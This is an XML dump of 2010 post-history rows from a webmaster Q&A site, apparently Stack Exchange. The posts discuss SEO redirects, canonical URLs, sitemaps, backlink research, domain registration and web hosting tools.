  <row Id="11726" PostHistoryTypeId="5" PostId="5392" RevisionGUID="866b05ff-14d3-4a23-a0d7-12adf541bafd" CreationDate="2010-11-24T15:12:32.947" UserId="1429" Comment="added 1 characters in body" Text="I know this question is someway similar to [this one][1] where they reccomend using 404, but after reading [this other one][2] where they suggest to use 301 when changing site urls (in the specific case was due to redesign/refactoring) I get a bit of confused and I hope someone could clarify for this specific example:&#xD;&#xA;&#xD;&#xA;1. Let's say I have an ecommerce site,&#xD;&#xA;&#xD;&#xA;2. let's also say the final user inserted some interesting items in the site and the ecommerce webapp created the item pages at the urls: `http://...?id=20`, `http://...?id=30` etc.&#xD;&#xA;&#xD;&#xA;3. Now let's say some of these interesting items got many external links toward them from many other sites because some people found those items very interesting and linked to them.&#xD;&#xA;&#xD;&#xA;4. After some years the final user deletes those items, so obviously the pages/urls `http://...?id=20`, `http://...?id=30`, etc. **now do not exist anymore, but still many pages on the web are linking toward them**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What should the ecommerce site do now, just show a 404 page for those items?**&#xD;&#xA;&#xD;&#xA;But, I'm confused, **wouldn't this loose all the Google PR passed by the external links to the items pages?** So isn't it better to use 301 redirect to HOME PAGE that at least passes the PR to the HOME PAGE?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**EDIT:**&#xD;&#xA;&#xD;&#xA;Well, according to answeres **the best thing to do so far is to do a 404/410**.&#xD;&#xA;&#xD;&#xA;In order to make this question more complete, I would like to talk about a special case, just to make sure I understood. properly.&#xD;&#xA;&#xD;&#xA;Let's say the user creates those items again (the ones he previously deleted at point 4), maybe he changes a bit their names and description, but they are basically the same items. The webapp has no way to know these new added items were the old items so it obviously create them as new items with new urls `http://...?id=100`, `http://...?id=101`, **does it makes sense at this point to redirect 301 the old urls to the new ones?**&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**MORE EDIT (It would be VERY IMPORTANT TO UNDERSTAND):**&#xD;&#xA;&#xD;&#xA;Well according to the clever answers received so far it seems for the special case, explained in my last EDIT, I could use 301, since it's something of not deceptive cause basically the new pages is a replacement for the old page in term of contents.&#xD;&#xA;This is basically done to keep the PR passed from external link and also for better user experience.&#xD;&#xA;&#xD;&#xA;But beside the user experince, that is discussible (*1), in order to preserve PR from external broken linlks why not just always use 301, In my understanding Google dislikes duplicated contents, **but are we sure that 301 redirect to HOME PAGE is seen as duplicated contents for Google?!** &#xD;&#xA;&#xD;&#xA;**Google itself [suggests to redircet 301 index.html to document root][3] so if they consider 301 as duplicated contents wouldn't that be considered duplicated contents too?! Why do they suggest it?**&#xD;&#xA;&#xD;&#xA;Let me provoke you: *“why not just add a 301 to HOME PAGE for every not found page?”* &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(*1) as a user, when I follo a broken url from some external link to some website's page I would stick more on this website if I get redirected to HOME PAGE rather than seeing a 404 page where I would think the webiste does not even exist anymore and maybe I don't even try to go to HOME PAGE of the website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/3131/is-it-better-to-have-an-errordocument-404-redirect-back-to-the-homepage-or-a-stan/3135#3135&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/2652/updating-redesign-website-how-to-retain-transfer-ranking&#xD;&#xA;  [3]: http://groups.google.com/group/only-validation/web/fix-canonical-issues-www-vs-non-www-and-more-on-apache-server?pli=1" />
  <row Id="11727" PostHistoryTypeId="2" PostId="5869" RevisionGUID="832a497d-d9e9-432b-8ae8-f6f0ffe49765" CreationDate="2010-11-24T15:24:11.173" UserId="3449" Text="Does anyone know a good way of getting a list of all the URI elements for a website? I plan on moving a website to a new CMS and would like to setup some 301 redirects for articles, images, css, and js files that will be moved to a new location.&#xD;&#xA;&#xD;&#xA;I'm looking for somewhat of a &quot;site sucker&quot; application that creates a list of URI elements for a website, instead of downloading them." />
  <row Id="11728" PostHistoryTypeId="1" PostId="5869" RevisionGUID="832a497d-d9e9-432b-8ae8-f6f0ffe49765" CreationDate="2010-11-24T15:24:11.173" UserId="3449" Text="List of all URI elements for a website" />
  <row Id="11729" PostHistoryTypeId="3" PostId="5869" RevisionGUID="832a497d-d9e9-432b-8ae8-f6f0ffe49765" CreationDate="2010-11-24T15:24:11.173" UserId="3449" Text="&lt;websites&gt;" />
  <row Id="11730" PostHistoryTypeId="2" PostId="5870" RevisionGUID="dd955d93-6905-4f4e-a898-7ded755dbca5" CreationDate="2010-11-24T15:41:17.040" UserId="1955" Text="You can try [xenu][1] it will crawl your website and find all links. The report is in HTML but I think you will be able to extract the links with some kind of regexp.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://home.snafu.de/tilman/xenulink.html" />
  <row Id="11731" PostHistoryTypeId="2" PostId="5871" RevisionGUID="492ca0e1-94d7-4375-89ca-68f9cd74004f" CreationDate="2010-11-24T16:03:01.267" UserId="3175" Text="I have a sitemap index on my website, which I successfully validated with &quot;Google webmasters tools&quot;.&#xD;&#xA;The declarations at the top are:&#xD;&#xA;&#xD;&#xA;       &lt;sitemapindex xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&#xD;&#xA;             xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/siteindex.xsd&quot;&#xD;&#xA;             xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt; &#xD;&#xA;&#xD;&#xA;This index lists 2 sitemaps . One of them contains &quot;images&quot; tags after using the `http://www.google.com/schemas/sitemap-image/1.1` schema declaration.&#xD;&#xA;&#xD;&#xA;When submitting this sitemap index to Yahoo explorer, I get error:&#xD;&#xA;&#xD;&#xA;    ERROR: FF_30000 “Not an accepted feed format file. Please consult the documentaiton for supported file formats.”&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;Joel" />
  <row Id="11732" PostHistoryTypeId="1" PostId="5871" RevisionGUID="492ca0e1-94d7-4375-89ca-68f9cd74004f" CreationDate="2010-11-24T16:03:01.267" UserId="3175" Text="Validating sitemap with Yahoo Explorer" />
  <row Id="11733" PostHistoryTypeId="3" PostId="5871" RevisionGUID="492ca0e1-94d7-4375-89ca-68f9cd74004f" CreationDate="2010-11-24T16:03:01.267" UserId="3175" Text="&lt;sitemap&gt;&lt;yahoo&gt;" />
  <row Id="11734" PostHistoryTypeId="2" PostId="5872" RevisionGUID="f76b07f8-4548-4a53-a979-a4a5e397ad35" CreationDate="2010-11-24T16:18:42.320" UserId="3142" Text="What are the things I need to do, and with what tools to know what a competitor has working for him/her **off-page** (free and paid tools -- please suggest both)?&#xD;&#xA;&#xD;&#xA;First of all, I'm supposing I want to see all of the sites linking in and see what anchor text is used. Is there something that would report on the anchor text linking in, such as counting the keyword phrases used as anchor text?&#xD;&#xA;&#xD;&#xA;Also, it would be helpful to see where the PR is coming from by PR, such as, listing inbound links by PR of the page linking in.&#xD;&#xA;&#xD;&#xA;Lastly, if I'm missing something, here in the way of off-page attributes, please say so." />
  <row Id="11735" PostHistoryTypeId="1" PostId="5872" RevisionGUID="f76b07f8-4548-4a53-a979-a4a5e397ad35" CreationDate="2010-11-24T16:18:42.320" UserId="3142" Text="How should I study a competitor's off page SEO?" />
  <row Id="11736" PostHistoryTypeId="3" PostId="5872" RevisionGUID="f76b07f8-4548-4a53-a979-a4a5e397ad35" CreationDate="2010-11-24T16:18:42.320" UserId="3142" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="11740" PostHistoryTypeId="2" PostId="5873" RevisionGUID="36557e73-549c-49a0-b513-1aea9fddd168" CreationDate="2010-11-24T16:39:16.663" UserId="1253" Text="[Looks like someone found a solution for this problem.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://forums.aws.amazon.com/message.jspa?messageID=108392" />
  <row Id="11741" PostHistoryTypeId="2" PostId="5874" RevisionGUID="e14cf4b1-14c4-481a-940f-4a9399925c49" CreationDate="2010-11-24T17:33:37.283" UserId="2293" Text="I think only canonical versions should be on sitemap. Follow:&#xD;&#xA;&#xD;&#xA; - www.mywebsite.com/CPU&#xD;&#xA; - www.mywebsite.com/CPU/Intel&#xD;&#xA; - www.mywebsite.com/CPU/Intel/Core2Duo&#xD;&#xA; - www.mywebsite.com/CPU/AMD&#xD;&#xA; - www.mywebsite.com/CPU/AMD/Phenom&#xD;&#xA;&#xD;&#xA;If all those links just point to www.mywebsite.com/CPU, then only add this url to sitemap. If each page is different (even if it is just the title), then you need to add them all to sitemap, but beware of duplicating content." />
  <row Id="11742" PostHistoryTypeId="2" PostId="5875" RevisionGUID="a407544b-86a7-4776-a48f-931bbefe387d" CreationDate="2010-11-24T17:34:43.113" UserId="3142" Text="I think the authoritative use of the word &quot;canonical&quot; in the SEO discipline dates back to this [2006 blog post by Matt Cuts on cononicalization][1]:&#xD;&#xA;&#xD;&#xA;http://www.mattcutts.com/blog/seo-advice-url-canonicalization/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/seo-advice-url-canonicalization/&#xD;&#xA;&#xD;&#xA;Personally, I recall the first use of the word in referring to penalizing sites that were buying up many keyword stuffed URLs and pointing them all to the same site, aka &quot;Canonical URLs.&quot;&#xD;&#xA;&#xD;&#xA;My curiosity caused me to discover that there are math and science uses of the word, AND that the term CNAME in DNS means &quot;canonical name.&quot;&#xD;&#xA;&#xD;&#xA;At this point, and on this website in particular, I see that word tossed around so frequently and I suspect some of the uses of it are technically wrong, or that some of its uses could better be served with a different word or phrase. But I could be wrong about this, fueled by my less-than-complete understanding of what canonical means in all of its SEO contexts.&#xD;&#xA;&#xD;&#xA;So, then, &#xD;&#xA;&#xD;&#xA; - **what are the correct uses for the word canonical (in SEO context)?**&#xD;&#xA;&#xD;&#xA;And, if my suspicions are correct, &#xD;&#xA;&#xD;&#xA; - **what are some of the common mis-uses of the word,**&#xD;&#xA; - **and what should be used in its place?**" />
  <row Id="11743" PostHistoryTypeId="1" PostId="5875" RevisionGUID="a407544b-86a7-4776-a48f-931bbefe387d" CreationDate="2010-11-24T17:34:43.113" UserId="3142" Text="Clarify &quot;canonical&quot; word: Can someone please list the various uses of this word in SEO context, and point out correct or incorrect uses of it?" />
  <row Id="11744" PostHistoryTypeId="3" PostId="5875" RevisionGUID="a407544b-86a7-4776-a48f-931bbefe387d" CreationDate="2010-11-24T17:34:43.113" UserId="3142" Text="&lt;seo&gt;&lt;google&gt;&lt;url&gt;&lt;canonical-url&gt;" />
  <row Id="11745" PostHistoryTypeId="2" PostId="5876" RevisionGUID="03a3f4aa-27f0-4747-8415-f53d1c20a007" CreationDate="2010-11-24T18:48:06.023" UserId="2293" Text="Well, google webmaster and quality guidelines are very clear to this aspect, but let me try a free translation...&#xD;&#xA;&#xD;&#xA;On backend you have thousands of products, and you have a 'showProducts' page, that will list 50 products each time.&#xD;&#xA;&#xD;&#xA;You can access:&#xD;&#xA;&#xD;&#xA; - http://domain.tld/showProducts/&#xD;&#xA; - http://domain.tld/showProducts/2/&#xD;&#xA; - http://domain.tld/showProducts/3/&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;Alright. Now, let's suppose users can apply a filter, for example, by price.&#xD;&#xA;&#xD;&#xA; - http://domain.tld/showProducts/?sort=price&amp;sortOrder=ascending&#xD;&#xA; - http://domain.tld/showProducts/2/?sort=price&amp;sortOrder=ascending&#xD;&#xA; - http://domain.tld/showProducts/5/?sort=price&amp;sortOrder=descending&#xD;&#xA;&#xD;&#xA;Done. All those pages have one commom purpose: list products. More than that, they can change along with time (having more or less products). So we can assume this dinamically generated list will not be the same over the time. Products displayed today, can be no more present next week. Prices can increase/decrease...&#xD;&#xA;&#xD;&#xA;In this context we can see that treating sorted content as different content - just because it is dinamically generated - also doesn't makes sense.&#xD;&#xA;&#xD;&#xA;Doesn't makes sense assume this need to affect SEO, as doesn't makes sense to crawlers keep indexing this kind of content over and over. For this, we can provide a **canonical version**. What version should crawlers follow and avoid seeing duplicate content? This is the **canonical version**.&#xD;&#xA;&#xD;&#xA;Note that you can tell crawlers that the correct version to follow is anyone. May be the unsorted version, may be the increasing price order, alphabetical name order... Doesn't matter. The intention is to make crawlers don't see duplicated content (this would happen a lot if crawlers follow all sorting possibilities).&#xD;&#xA;&#xD;&#xA;Hope this is clear enough." />
  <row Id="11746" PostHistoryTypeId="2" PostId="5877" RevisionGUID="5c485557-86f9-4a83-8ce1-7abfa5d2a311" CreationDate="2010-11-24T19:11:13.160" UserDisplayName="Seb J" Text="is there anywhere I can get a **free** .me domain name?" />
  <row Id="11747" PostHistoryTypeId="1" PostId="5877" RevisionGUID="5c485557-86f9-4a83-8ce1-7abfa5d2a311" CreationDate="2010-11-24T19:11:13.160" UserDisplayName="Seb J" Text="Anywhere to get a free .me domain?" />
  <row Id="11748" PostHistoryTypeId="3" PostId="5877" RevisionGUID="5c485557-86f9-4a83-8ce1-7abfa5d2a311" CreationDate="2010-11-24T19:11:13.160" UserDisplayName="Seb J" Text="&lt;domains&gt;&lt;free&gt;" />
  <row Id="11749" PostHistoryTypeId="2" PostId="5878" RevisionGUID="a2eabd7b-f1d5-4afc-a895-b103e0573a29" CreationDate="2010-11-24T19:16:31.253" UserId="3142" Text="There isn't enough information in your question to provide a &quot;perfect&quot; answer. I tend to think that you might be barking up the wrong tree, but I do so by assuming a few things as follows.&#xD;&#xA;&#xD;&#xA;I assume:&#xD;&#xA;&#xD;&#xA; - you have so many (single) product pages now, Google hasn't crawled them all (more than 100,000?)&#xD;&#xA; - products will come and go with such frequency that spidering is a never-ending concern, and of critical importance&#xD;&#xA; - without a sitemap, you probably won't get a crawl of all product pages so you rely on the sitemap to expose all pages you need crawled&#xD;&#xA;&#xD;&#xA;My suggestions:&#xD;&#xA;&#xD;&#xA; - architect a browseable hierarchy for the benefit of the spiders (only); it's clickable by users, of course, but it's purpose is just for the spider to crawl&#xD;&#xA; - the browse hierarchy needs every product to be no more than four pages deep&#xD;&#xA; - construct your URL rewrite to follow the crawl (i.e. first directory = product-catalogue (or similar such phrase), second directory = drill down to first level of product specificity (i.e. &quot;storage&quot;), last directory = a keyword, a hyphen and product ID, last bit of URL string is Product-Name.html)&#xD;&#xA; - design-wise, show the browseable directory links insignificantly to users; you really made this for the spider and from a usability standpoint, it's better if your users click through the existing UI&#xD;&#xA; - steer the spider by designating all other internal links as NoFollow (some may say not *all* other internal links; whatever the follow/nofollow approach, you need to encourage the spider to travel the easy hierarchical path, and not bounce around the site using all the other natural links)&#xD;&#xA;&#xD;&#xA;In summary, what I'm saying is that you should *not* make a page for every combination of products, afterall, that's an infinite number and an impossible task. Respectfully, I disagree with your SEO guy and @Eric. Instead, I'd be certain to architect a browse-able &quot;catalogue&quot; for the benefit of the spiders, and marry your URL rewrite logic with the drill down clicks AND also your anchor text as the spider drills down. I'd be happy to share with you a URL to serve as an example outside of this forum (email: chris@adragna.com).&#xD;&#xA;&#xD;&#xA;If you're still considering the combo pages, the existing URL logic you wrote and the site maps, work with this math: you can have up to 50,000 URLs per map and up to 1000 site maps. That a maximum of 50 million pages... if you want to work backwards from that you can use it to figure out the upper limits of how many product combinations to spin out." />
  <row Id="11750" PostHistoryTypeId="2" PostId="5879" RevisionGUID="e1c5f8fa-255d-4db7-a4ae-7ea4c47416e0" CreationDate="2010-11-24T19:33:26.887" UserId="1064" Text="**Definition:** *canonical* in search optimization - while other uniform resource identifiers may &quot;point&quot; to the same resource, the resource has only one intended name and search engines should associate all links from other uniform resource identifiers which serve the same content to that canonical URI. (See also: [Specify your canonical][1])&#xD;&#xA;&#xD;&#xA;An example of multiple URI's (similar to the one suggested in the blog entry you linked) which could theoretically point to the same content on a webserver which has not been configured properly:&#xD;&#xA;&#xD;&#xA;* 1.2.3.4/example/&#xD;&#xA;* 1.2.3.4/example/index.htm&#xD;&#xA;* domain.com/example/&#xD;&#xA;* domain.com/example/index.htm&#xD;&#xA;* www.domain.com/example/&#xD;&#xA;* www.domain.com/example/index.htm&#xD;&#xA;* example.domain.com/&#xD;&#xA;* example.domain.com/index.htm&#xD;&#xA;&#xD;&#xA;(... and you could add any combination of miscellaneous GET params which may or may not have any effect on the contents returned by the webserver - i.e. &quot;index.htm?a=b&amp;c=d&quot; ...)&#xD;&#xA;&#xD;&#xA;As you can see, these URI's *could* be viewed as unique entries when people start linking to all of them and the search engines *could* use any one of these links to point to the content... the `rel=&quot;canonical&quot;` attribute allows the publisher of the document to indicate which URI is &quot;correct&quot;.&#xD;&#xA;&#xD;&#xA;This is analogous to the webmaster indicating &quot;Instead of configuring my webserver to redirect traffic from URI's which I do not want to see in the search results page to the URI which I intended, I would prefer to add markup to my documents to tell the search engines which URI should be listed in their indexes&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Misuses:** Second-guessing the search engines' algorithms and using the canonical tag for anything beyond indicating which URI you want to see used for ranking is probably a misuse.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Instead of `rel=&quot;canonical&quot;`:** Consider issuing a 301 redirect when content is requested at any hostname or path which is not unique.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="11751" PostHistoryTypeId="5" PostId="5773" RevisionGUID="c3d294d7-a21c-4536-90b0-a22effdce0a9" CreationDate="2010-11-24T19:37:09.607" UserId="3142" Comment="changed the URL linked to off of the keyword &quot;mininet&quot; and spelled it all out in the text" Text="Because of the importance of backlinks, and the way that &quot;authority&quot; is calculated, black hat SEO has proliferated [LinkWheels][1] and [Mininets][2]. In my opinion, we now have a situation that was like baseball during the steroids era. Everyone is cheating, so the people who don't cheat can no longer compete because the cheaters are dominating the game.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squidoo.com/how-to-make-a-link-wheel&#xD;&#xA;  [2]: http://ezinearticles.com/?Improving-SEO-with-the-Mini-Net&amp;id=458579&#xD;&#xA;&#xD;&#xA;With hope that this does not become a discussion of the ethics, which would certainly move this to community wiki (at best), I'm curious about what is technically correct about both Mininet and Linkwheel implementations.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;Do mininets correctly build backlinks? What is the lesson learned regarding backlinks (and their efforts to pose them as organic)?&#xD;&#xA;&#xD;&#xA;Do they increase the so called &quot;money site's&quot; authority?&#xD;&#xA;&#xD;&#xA;I also should add that it's quite interesting that the Linkwheels are largely built upon the same Web2.0 properties that it seems those sites must be aware of their place in all of this (Squidoo?). If you can cite examples of sites making public their DoFollow or NoFollow link policy, please do.&#xD;&#xA;&#xD;&#xA;Please note that I'm not an apologist for those black hat techniques. What I'm trying to do is gain a strong understanding of the techniques that are successfully deployed with Linkwheels and Mininets. In so doing, we all may better architect our off-page SEM and social media campaigns.&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;I changed the URL I linked to for Mininets (definition). I had originally linked to the &quot;money site&quot; that sold the book that possibly established the phenomenon, entitled &quot;Revenge of the Mininet.&quot; That landing page was not very informative, although the book is still a good source on that topic. The original link follows:&#xD;&#xA;&#xD;&#xA;http://www.revengeofthemininet.com/" />
  <row Id="11752" PostHistoryTypeId="2" PostId="5880" RevisionGUID="72f09ee0-cbb7-4f8f-8f0c-547125584b48" CreationDate="2010-11-24T20:48:49.693" UserId="343" Text="I've used [ContextWeb][1] before and found them to be pretty decent.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.contextweb.com/" />
  <row Id="11753" PostHistoryTypeId="2" PostId="5881" RevisionGUID="d6491ee2-63f2-4e61-ae5e-7da3bbef9ea7" CreationDate="2010-11-24T21:08:09.100" UserId="480" Text="This is a tricky one; lets break it down into separate parts.&#xD;&#xA;&#xD;&#xA;**[Statistics][1]**&#xD;&#xA;&#xD;&#xA;The &quot;Results Reports&quot; and &quot;Bracket Generation&quot; will require a flexible system to store the scores and be able to render them correctly in a visual format. Building something to do this for all the different scoring systems would require something like [No-SQL][2] (or bit-masking integer fields in SQL) and heavy coding. My hunch on this would be that due to the niche market and relative simplicity, only commercially supported efforts would succeed here. To draw a parallel which springs to mind, how many E-commerce systems with multi-item entry and automatic bespoke customisations which alter price, done on a shoestring, have you seen in the wild? Or put simply, [this way madness lies][3].&#xD;&#xA;&#xD;&#xA;Normalising data and producing tournament board visuals [using third party tools][4] seems sensible here (remembering there is a [WebApps StackExchange site][5]). Tournament boards can be created using scripting methods on the right resources, here is a crude example using the [wrong tool][6] (its the only one I use, just a quick example where there are four participants and Jodie wins):&#xD;&#xA;&#xD;&#xA;![Poor example of a tournament visual][7]&#xD;&#xA;&#xD;&#xA;On the data side, you'll need to be able to refer to people, teams, governing bodies (or whoever makes the rules and organises the tournaments) and the tournaments themselves. You can group people into teams, remembering that team membership has a start and end date/time and in some tournaments this may change during the tournament itself. Some team members may not attend every tournament and some can be a reserve that attended yet may not have participated. Anyone can &quot;own&quot; a tournament (although you can use an authentication method to prove ownership). This sounds like a bread and butter [CRM][8]. Replace teams with companies and tournaments with opportunities.&#xD;&#xA;&#xD;&#xA;**[Web Reputation Systems][9]**&#xD;&#xA;&#xD;&#xA;If the site is to be self-maintained, beyond using tools such as [Akismet][10], [bot-proof-forms][11] and [ReCaptcha][12] (other solutions do exist), you may want to look into reputation systems to regulate user activity. There are plenty of blogs and books on the matter (my personal favourites are [Clay Shirky][13] and the O'Reilly book linked to in the title of this section). This should help regulate smaller or local events.&#xD;&#xA;&#xD;&#xA;  [1]: http://stats.stackexchange.com/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/NoSQL#Object_database:&#xD;&#xA;  [3]: http://www.phrases.org.uk/meanings/264500.html&#xD;&#xA;  [4]: http://www.hongkiat.com/blog/22-useful-chart-graph-diagram-generators/&#xD;&#xA;  [5]: http://nothingtoinstall.com/&#xD;&#xA;  [6]: http://yuml.me/diagram/usecase/draw2&#xD;&#xA;  [7]: http://i.stack.imgur.com/dtm2B.png&#xD;&#xA;  [8]: http://en.wikipedia.org/wiki/Customer_relationship_management&#xD;&#xA;  [9]: http://www.buildingreputation.com/&#xD;&#xA;  [10]: http://akismet.com/&#xD;&#xA;  [11]: http://nedbatchelder.com/text/stopbots.html&#xD;&#xA;  [12]: http://www.google.com/recaptcha&#xD;&#xA;  [13]: http://www.shirky.com/" />
  <row Id="11754" PostHistoryTypeId="2" PostId="5882" RevisionGUID="ffd6cd2d-16aa-47af-ae1b-d1dd5b33f7fe" CreationDate="2010-11-24T21:35:24.773" UserId="2293" Text="SEO is part of business plan. You should define your competiton before, and then research, not the inverse (unless it is an strict online business). As well you need to determine YOUR keywords/expressions and check who shows up.&#xD;&#xA;&#xD;&#xA;With that at hand, then you can start researching on your competitors performance.&#xD;&#xA;&#xD;&#xA;I don't really know any advanced automation tool for that purpose. But with a plan, googling (with site:, link: and info:) and with a google toolbar should provide you some key measures to make a report in no time." />
  <row Id="11755" PostHistoryTypeId="2" PostId="5883" RevisionGUID="add36b22-11c9-463f-bead-95ed62546c69" CreationDate="2010-11-24T21:57:07.340" UserId="1585" Text="How can i add data to google analytics? i'd like to attach data to users such as if silverlight is installed, if i suspect the user of using an adblock etc (i would say if javascript is enabled but i am unsure how to add that data if javascript is indeed disabled)&#xD;&#xA;&#xD;&#xA;How might i do this?" />
  <row Id="11756" PostHistoryTypeId="1" PostId="5883" RevisionGUID="add36b22-11c9-463f-bead-95ed62546c69" CreationDate="2010-11-24T21:57:07.340" UserId="1585" Text="Add to vistor data in google analytics?" />
  <row Id="11757" PostHistoryTypeId="3" PostId="5883" RevisionGUID="add36b22-11c9-463f-bead-95ed62546c69" CreationDate="2010-11-24T21:57:07.340" UserId="1585" Text="&lt;google-analytics&gt;" />
  <row Id="11758" PostHistoryTypeId="2" PostId="5884" RevisionGUID="f4adb8f1-664f-491e-b45d-f512afda367c" CreationDate="2010-11-24T22:51:34.897" UserId="2783" Text="I´m not asking for a recomendation of a specific streaming service provider. I wonder what aspects must I consider to select the correct one.&#xD;&#xA;&#xD;&#xA;I need a transmission provider to a television station (official website), which provides:&#xD;&#xA;&#xD;&#xA; - Video and audio streaming. &#xD;&#xA; - Permanent transmition.&#xD;&#xA; -  From 50 to 250 concurrent users. &#xD;&#xA; - Just live events, non on-demand&#xD;&#xA;&#xD;&#xA;The first aspect is easy: find a provider that includes these features.&#xD;&#xA;&#xD;&#xA;The tough aspect is: how to know that one provider is a good choice? Must I search in their forums? Which technical aspects tells me he is reliable? &#xD;&#xA;&#xD;&#xA;I think that only asking directly to each provider will give me this answers, but some help (from experienced users) in identifying crucial aspects previously will come in handy." />
  <row Id="11759" PostHistoryTypeId="1" PostId="5884" RevisionGUID="f4adb8f1-664f-491e-b45d-f512afda367c" CreationDate="2010-11-24T22:51:34.897" UserId="2783" Text="How to choose correctly a provider of streaming?" />
  <row Id="11760" PostHistoryTypeId="3" PostId="5884" RevisionGUID="f4adb8f1-664f-491e-b45d-f512afda367c" CreationDate="2010-11-24T22:51:34.897" UserId="2783" Text="&lt;streaming&gt;" />
  <row Id="11761" PostHistoryTypeId="2" PostId="5885" RevisionGUID="dd0be3d1-c075-44ab-8ff5-619fe221633f" CreationDate="2010-11-24T22:58:07.413" UserId="3453" Text="You should try [Open Site Explorer][1] and the SeoBook Toolbar. The latter has buttons which would lead you to Yahoo! Search (which is much better than searching with the link: operator on Google) and some other neat tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/" />
  <row Id="11762" PostHistoryTypeId="2" PostId="5886" RevisionGUID="d2336017-a0ba-4ab2-8624-c9d09768d075" CreationDate="2010-11-24T23:01:46.693" UserId="3453" Text="No.&#xD;&#xA;The only free TLD is from dot.tk.&#xD;&#xA;That is unles you buy a 1-year hosting plan from any hosting company. Most of them offer free domains." />
  <row Id="11763" PostHistoryTypeId="2" PostId="5887" RevisionGUID="036ed686-ed5f-4f5f-bc95-c952a541c078" CreationDate="2010-11-24T23:08:00.900" UserId="3453" Text="Usually social networks play hardly any role on your SERP rankings. Social networks are places where people see your links, not search engines.&#xD;&#xA;&#xD;&#xA;You should order a link building campaign to boost your SERP positions. Also, you should contact someone to make a SEO analysis for your website." />
  <row Id="11764" PostHistoryTypeId="2" PostId="5888" RevisionGUID="cf543752-6370-4f96-8b81-a751e16cee66" CreationDate="2010-11-24T23:14:58.507" UserId="3453" Text="Etomite is a lightweight CMS that has an &quot;Export to HTML&quot; option.&#xD;&#xA;So you can make your changes and export the whole thing every time." />
  <row Id="11765" PostHistoryTypeId="2" PostId="5889" RevisionGUID="39912cd7-d71b-4346-be00-04715fb0692d" CreationDate="2010-11-25T00:05:01.117" UserId="3455" Text="There was a service which provided email aliases on .name domain, but it seem to be gone now, so I was thinking of actually getting a domain for myself (*martin.toth.name* sounds nice).&#xD;&#xA;&#xD;&#xA;Do I understand it correctly, that I can't get a toth.name domain, but only third level: martin.toth.name? Do I get to have @toth.name emails even then?&#xD;&#xA;&#xD;&#xA;I've tried several registrars from [Verisign's list][1], but none of them let's me ask for the third level, nor the toth.name (some say it's taken, some that it can't be registered).&#xD;&#xA;&#xD;&#xA;There's an article linked from Wikipedia entry on .name about cybercrime on .name. Should I look for another top level domain? Is it a disadvantage in search engines or anywehere else? *Note: couldn't post links to those pages, because I'm low on reputation*&#xD;&#xA;&#xD;&#xA;So basically: **How does one register a .name domain name?**&#xD;&#xA;&#xD;&#xA;  [1]: http://www.verisign.com/domain-name-services/find-registrar/index.html" />
  <row Id="11766" PostHistoryTypeId="1" PostId="5889" RevisionGUID="39912cd7-d71b-4346-be00-04715fb0692d" CreationDate="2010-11-25T00:05:01.117" UserId="3455" Text="How do I get a .name domain name." />
  <row Id="11767" PostHistoryTypeId="3" PostId="5889" RevisionGUID="39912cd7-d71b-4346-be00-04715fb0692d" CreationDate="2010-11-25T00:05:01.117" UserId="3455" Text="&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="11768" PostHistoryTypeId="2" PostId="5890" RevisionGUID="3f2d92de-0db8-4341-9451-9be24b306191" CreationDate="2010-11-25T01:05:00.597" UserId="138" Text="When you register a domain, you can only register one level up from the domain extension, so you would need to register  `toth.name`, and then create a subdomain of `martin` in your DNS for `toth.name`. (note: This is different to what used to be the rules, they where changed to make `.name` work the same as `.com`)&#xD;&#xA;&#xD;&#xA;Looking at that verisign list, most of those registrars looke very, very dodgey. 1and1 are not dodgey however, [but their domain check][1] seems to be broken at the moment. If toth.name really is taken, then you can always register `xn--tth-gna.name` (which is punycode for `tóth.name`)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://order.1and1.com/xml/order/Home" />
  <row Id="11769" PostHistoryTypeId="2" PostId="5891" RevisionGUID="6f9dbc67-2b9c-45d7-a50e-655b4ef8b9ab" CreationDate="2010-11-25T01:22:26.410" UserId="132" Text="Some providers offer the option to automatically push live the latest commits. I know &lt;a href=&quot;http://beanstalkapp.com/&quot;&gt;Beanstalk offers this&lt;/a&gt;, have been meaning to try it. It seems that Assembla offers it as well, though it's on a paid plan." />
